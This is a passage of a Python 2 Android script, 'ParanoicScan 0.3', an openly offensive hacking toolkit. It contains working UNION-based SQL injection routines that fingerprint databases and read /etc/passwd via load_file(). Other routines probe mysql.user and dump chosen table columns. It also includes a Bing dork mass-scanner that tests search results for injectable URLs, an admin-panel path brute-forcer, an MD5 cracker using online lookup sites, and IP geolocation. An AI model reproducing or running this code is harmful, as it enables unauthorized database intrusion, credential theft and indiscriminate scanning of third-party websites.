respuesta = respuesta + "[+] Searching DB Details ...\n"
hextest = "0x2f6574632f706173737764"
web1 = re.sub("hackman","unhex(hex(concat(0x334d50335a3452,0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241,0x334d50335a3452)))",web)
web2 = re.sub("hackman","unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+hextest+"))))",otraweb)
code0 = toma(web1+pass2)
if (re.findall("3MP3Z4R(.*?)3MP3Z4R",code0)):
datax = re.findall("3MP3Z4R(.*?)3MP3Z4R",code0)
datar = re.split("K0BRA",datax[0])
respuesta = respuesta + "\n[+] Username : "+datar[1]
respuesta = respuesta + "\n[+] Database : "+datar[2]
respuesta = respuesta + "\n[+] Version : "+datar[3]+"\n"
code1 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
if (re.findall("K0BRA",code1)):
respuesta = respuesta + "\n[+] mysql.user : on"
code2 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
if (re.findall("K0BRA",code2)):
respuesta = respuesta + "\n[+] information_schema.tables : on"
codetres = toma(web2)
if (re.findall("ERTOR854",codetres)):
respuesta = respuesta + "\n[+] load_file() : on"
respuesta = respuesta + "\n\n[+] Finished"
return respuesta
def httpfinger(target):
respuesta = ""
try:
respuesta = respuesta + str(getdata(target))
except:
respuesta = respuesta + "[-] Error"
return respuesta
def scanpanel(web):
contador = 0
panels=['admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/']
respuesta = ""
respuesta = respuesta + "[+] Scanning ...\n"
for path in panels:
try:
toma(web+"/"+path)
respuesta = respuesta + "\n[+] Link : "+web+"/"+path
contador = contador + 1
except urllib2.URLError, e:
pass
if(contador==0) :
respuesta = respuesta + "\n[+] Not Found"
respuesta = respuesta + "\n\n[+] Finished"
return respuesta
def crackmd5(md5) :
respuesta = ""
code = tomar("http://md5online.net/index.php","pass="+md5+"&option=hash2text&send=Submit")
if (re.findall("<center><p>md5 :<b>(.*?)<\/b> <br>pass : <b>(.*?)<\/b><\/p>",code)):
rex = re.findall("<center><p>md5 :<b>(.*?)<\/b> <br>pass : <b>(.*?)<\/b><\/p>",code)
return "[+] Hash : "+rex[0][1]
else:
code = tomar("http://md5decryption.com/index.php","hash="+md5+"&submit=Decrypt It!")
if (re.findall("Decrypted Text: <\/b>(.*?)<\/font>",code)):
rex = re.findall("Decrypted Text: <\/b>(.*?)<\/font>",code)
return "[+] Hash : "+rex[0]
else:
code = tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php","md5="+md5)
if (re.findall("<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>",code)):
rex = re.findall("<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>",code)
return "[+] Hash : "+rex[0]
else:
return "[+] Hash : Not Found"
return respuesta
def locateip(pagina):
respuesta = ""
ip = socket.gethostbyname(str(pagina))
code = toma("http://www.melissadata.com/lookups/iplocation.asp?ipaddress="+ip)
respuesta = respuesta + "[++] IP Address Location\n"
if (re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
rex = re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
city = rex[0][1]
respuesta = respuesta + "\n[++] City : "+city
else:
respuesta = respuesta + "\n[++] City : Not Found"
if (re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
rex = re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
country = rex[0][1]
respuesta = respuesta + "\n[++] Country : "+country
else:
respuesta = respuesta + "\n[++] Country : Not Found"
if (re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
rex = re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
state = rex[0][1]
respuesta = respuesta + "\n[++] State : "+state
else:
respuesta = respuesta + "\n[++] State : Not Found"
code = toma("http://www.ip-adress.com/reverse_ip/"+ip)
if (re.findall("whois\/(.*?)\">Whois",code)):
rex = re.findall("whois\/(.*?)\">Whois",code)
respuesta = respuesta + "\n\n[++] DNS Founds\n"
for dns in rex:
respuesta = respuesta + "\n[+] "+dns
return respuesta
def sqltest(webs):
respuesta = ""
for web in webs :
if re.findall("=",web):
web = re.split("=",web)
web = web[0]+"="
try:
code = toma(web+"-1+union+select+1--")
if (re.findall("The used SELECT statements have a different number of columns",code,re.I)):
respuesta = respuesta + "[SQLI] : "+web+"\n"
except:
pass
return respuesta
def limpiar(pag):
limpia = []
for p in pag:
if p not in limpia:
limpia.append(p)
return limpia
def bingscan(dork,count):
respuesta = ""
pag = []
s = 10
while s <= int(count):
try:
code = toma("http://www.bing.com/search?q="+str(dork)+"&first="+str(s))
d = re.findall("<h3><a href=\"(.*?)\"",code,re.I)
s += 10
for a in d:
pag.append(a)
except:
pass
pag = limpiar(pag)
return pag
##
aplicacion = android.Android()
def menuencoder():
aplicacion.dialogCreateAlert("Encoders")
aplicacion.dialogSetItems(["MD5 Encoder","Base64 Encoder","Base64 Decoder","Hex Encoder","Hex Decoder","Exit"])
aplicacion.dialogShow()
reh = aplicacion.dialogGetResponse().result
reb = reh["item"]
if reb==0:
aplicacion.dialogCreateAlert("MD5 Encoder")
aplicacion.dialogGetInput("MD5 Encoder","Enter Text")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menuencoder()
else:
texto = ref['value']
aplicacion.dialogCreateSpinnerProgress("MD5 Encoder","[+] Encoding ...")
aplicacion.dialogShow()
don = md5encoder(texto)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("MD5 Encoder",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menuencoder()
if reb==1 :
aplicacion.dialogCreateAlert("Base64 Encoder")
aplicacion.dialogGetInput("Base64 Encoder","Enter Text")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menuencoder()
else:
texto = ref['value']
aplicacion.dialogCreateSpinnerProgress("Base64 Encoder","[+] Encoding ...")
aplicacion.dialogShow()
don = base64encoder(texto)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("Base64 Encoder",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menuencoder()
if reb==2 :
aplicacion.dialogCreateAlert("Base64 Decoder")
aplicacion.dialogGetInput("Base64 Decoder","Enter Text")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menuencoder()
else:
texto = ref['value']
aplicacion.dialogCreateSpinnerProgress("Base64 Decoder","[+] Encoding ...")
aplicacion.dialogShow()
don = base64decoder(texto)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("Base64 Decoder",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menuencoder()
if reb==3 :
aplicacion.dialogCreateAlert("Hex Encoder")
aplicacion.dialogGetInput("Hex Encoder","Enter Text")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menuencoder()
else:
texto = ref['value']
aplicacion.dialogCreateSpinnerProgress("Hex Encoder","[+] Encoding ...")
aplicacion.dialogShow()
don = hexencoder(texto)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("Hex Encoder",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menuencoder()
if reb==4 :
aplicacion.dialogCreateAlert("Hex Decoder")
aplicacion.dialogGetInput("Hex Decoder","Enter Text")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menuencoder()
else:
texto = ref['value']
aplicacion.dialogCreateSpinnerProgress("Hex Decoder","[+] Encoding ...")
aplicacion.dialogShow()
don = hexdecoder(texto)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("Hex Decoder",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menuencoder()
if reb==5:
menu()
def menusql():
aplicacion.dialogCreateAlert("SQLI Scanner")
aplicacion.dialogSetItems(["Get Tables","Get Columns","Get Databases","Get Tables of DB","Get Columns of DB","Get mysql.users","Get Details DB","Dump Values","Exit"])
aplicacion.dialogShow()
reez = aplicacion.dialogGetResponse().result
opsql = reez["item"]
if opsql==0:
aplicacion.dialogCreateAlert("SQLI Scanner")
aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Tables ...")
aplicacion.dialogShow()
don = showtables(webvul)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menusql()
if opsql==1 :
aplicacion.dialogCreateAlert("SQLI Scanner")
aplicacion.dialogGetInput("SQLI Scanner","Enter Table")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menusql()
else:
tabla = ref['value']
aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Columns ...")
aplicacion.dialogShow()
don = showcolumns(webvul,tabla)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menusql()
if opsql==2 :
aplicacion.dialogCreateAlert("SQLI Scanner")
aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Databases ...")
aplicacion.dialogShow()
don = showdbs(webvul)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menusql()
if opsql==3 :
aplicacion.dialogCreateAlert("SQLI Scanner")
aplicacion.dialogGetInput("SQLI Scanner","Enter DB Name")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menusql()
else:
db = ref['value']
aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Tables of DB ...")
aplicacion.dialogShow()
don = showtablesdb(webvul,db)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menusql()
if opsql==4 :
aplicacion.dialogCreateAlert("SQLI Scanner")
aplicacion.dialogGetInput("SQLI Scanner","Enter DB Name")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menusql()
else:
db = ref['value']
aplicacion.dialogGetInput("SQLI Scanner","Enter Table")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menusql()
else:
tabla = ref['value']
aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Columns of DB ...")
aplicacion.dialogShow()
don = showcolumnsdb(webvul,db,tabla)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menusql()
if opsql==5 :
aplicacion.dialogCreateAlert("SQLI Scanner")
aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching mysql.users ...")
aplicacion.dialogShow()
don = mysqluser(webvul)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menusql()
if opsql==6 :
aplicacion.dialogCreateAlert("SQLI Scanner")
aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Getting Information ...")
aplicacion.dialogShow()
don = more(webvul)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menusql()
if opsql==7 :
aplicacion.dialogCreateAlert("SQLI Scanner")
aplicacion.dialogGetInput("SQLI Scanner","Enter Table")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menusql()
else:
tabla = ref['value']
aplicacion.dialogGetInput("SQLI Scanner","Enter Column1")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menusql()
else:
columna1 = ref['value']
aplicacion.dialogGetInput("SQLI Scanner","Enter Column2")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menusql()
else:
columna2 = ref['value']
aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Getting Values ...")
aplicacion.dialogShow()
don = dumper(webvul,tabla,columna1,columna2)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menusql()
if opsql==8:
menu()
def menu():
aplicacion.dialogCreateAlert("ParanoicScan 0.3 (C) Doddy Hackman 2014")
aplicacion.dialogSetItems(["BingHackTool","SQLI Scanner","MD5 Cracker","Admin Finder","Locate IP","HTTP FingerPrinting","Encoders","About","Exit"])
aplicacion.dialogShow()
re = aplicacion.dialogGetResponse().result
re2 = re["item"]
if re2==0:
aplicacion.dialogCreateAlert("BingHack Tool")
aplicacion.dialogGetInput("BingHack Tool","Enter Dork")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menu()
else:
dork = ref['value']
aplicacion.dialogGetInput("BingHack Tool","Enter number of pages to search")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menu()
else:
paginas = ref['value']
paginas = str(paginas)
aplicacion.dialogCreateSpinnerProgress("BingHack Tool","Searching ...")
aplicacion.dialogShow()
founds = ""
rez = ""
rtafinal = ""
founds = bingscan(dork,paginas)
aplicacion.dialogDismiss()
aplicacion.dialogCreateSpinnerProgress("BingHack Tool","Scanning ...")
aplicacion.dialogShow()
rez = sqltest(founds)
if len(rez) == 0 :
rtafinal = "[-] Not Found"
else :
rtafinal = "[++] Pages Founds\n\n"
rtafinal = rtafinal + rez
rtafinal = rtafinal + "\n[++] Finished\n"
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("BingHack Tool",rtafinal)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menu()
if re2==1 :
global webvul
aplicacion.dialogCreateAlert("SQLI Scanner")
aplicacion.dialogGetInput("SQLI Scanner","Enter Page")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menu()
else:
web = ref['value']
aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Scanning ...")
aplicacion.dialogShow()
pass1,pass2 = bypass("--")
code = toma(web+"1"+pass1+"and"+pass1+"1=0"+pass2)
codedos = toma(web+"1"+pass1+"and"+pass1+"1=1"+pass2)
if not code==codedos:
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner","[+] SQLI Detected")
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
pass1,pass2 = bypass("--")
rtacondata = ""
control_sql = 0
aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Finding columns length")
aplicacion.dialogShow()
number = "unhex(hex(concat(0x4b30425241,1,0x4b30425241)))"
for te in range(2,30):
number = str(number)+","+"unhex(hex(concat(0x4b30425241,"+str(te)+",0x4b30425241)))"
code = toma(web+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+number+pass2)
if(regexver(code)):
numbers = regexdar(code)
control_sql = 1
rtacondata = rtacondata + "[+] Column length : "+str(te)
rtacondata = rtacondata + "\n[+] Numbers "+str(numbers)+" print data"
sql = ""
tex = te + 1
for sqlix in range(2,tex):
sql = str(sql)+","+str(sqlix)
sqli = str(1)+sql
sqla = reem(sqli,numbers[0])
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner",rtacondata)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
webvul = web+"-1"+pass1+"union"+pass1+"select"+pass1+sqla
menusql()
if control_sql==0:
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner","[-] Length dont found")
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
aplicacion.exit()
else:
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("SQLI Scanner","[-] Not Vulnerable")
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
aplicacion.exit()
if re2==2 :
aplicacion.dialogCreateAlert("MD5 Cracker")
aplicacion.dialogGetInput("MD5 Cracker","Enter MD5")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menu()
else:
target = ref['value']
aplicacion.dialogCreateSpinnerProgress("MD5 Cracker","[+] Cracking ...")
aplicacion.dialogShow()
don = crackmd5(target)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("MD5 Cracker",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menu()
if re2==3 :
aplicacion.dialogCreateAlert("Admin Finder")
aplicacion.dialogGetInput("Admin Finder","Enter Target")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menu()
else:
target = ref['value']
aplicacion.dialogCreateSpinnerProgress("Admin Finder","[+] Searching ...")
aplicacion.dialogShow()
don = scanpanel(target)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("Admin Finder",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menu()
if re2==4 :
aplicacion.dialogCreateAlert("LocateIP")
aplicacion.dialogGetInput("LocateIP","Enter Target")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menu()
else:
target = ref['value']
aplicacion.dialogCreateSpinnerProgress("LocateIP","[+] Searching ...")
aplicacion.dialogShow()
don = locateip(target)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("LocateIP",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menu()
if re2==5 :
aplicacion.dialogCreateAlert("HTTP FingerPrinting")
aplicacion.dialogGetInput("HTTP FingerPrinting","Enter Target")
ref = aplicacion.dialogGetResponse().result
if not ref['which'] == 'positive' :
menu()
else:
target = ref['value']
aplicacion.dialogCreateSpinnerProgress("HTTP FingerPrinting","[+] Scanning ...")
aplicacion.dialogShow()
don = httpfinger(target)
aplicacion.dialogDismiss()
aplicacion.dialogCreateAlert("HTTP FingerPrinting",don)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menu()
if re2==6 :
menuencoder()
if re2==7 :
about = "This program was written by Doddy Hackman in the summer of 2014"
aplicacion.dialogCreateAlert("About",about)
aplicacion.dialogSetPositiveButtonText("Done")
aplicacion.dialogShow()
op = aplicacion.dialogGetResponse().result
if op["which"] == "positive" :
menu()
if re2==8 :
aplicacion.exit()
menu()
# The End ?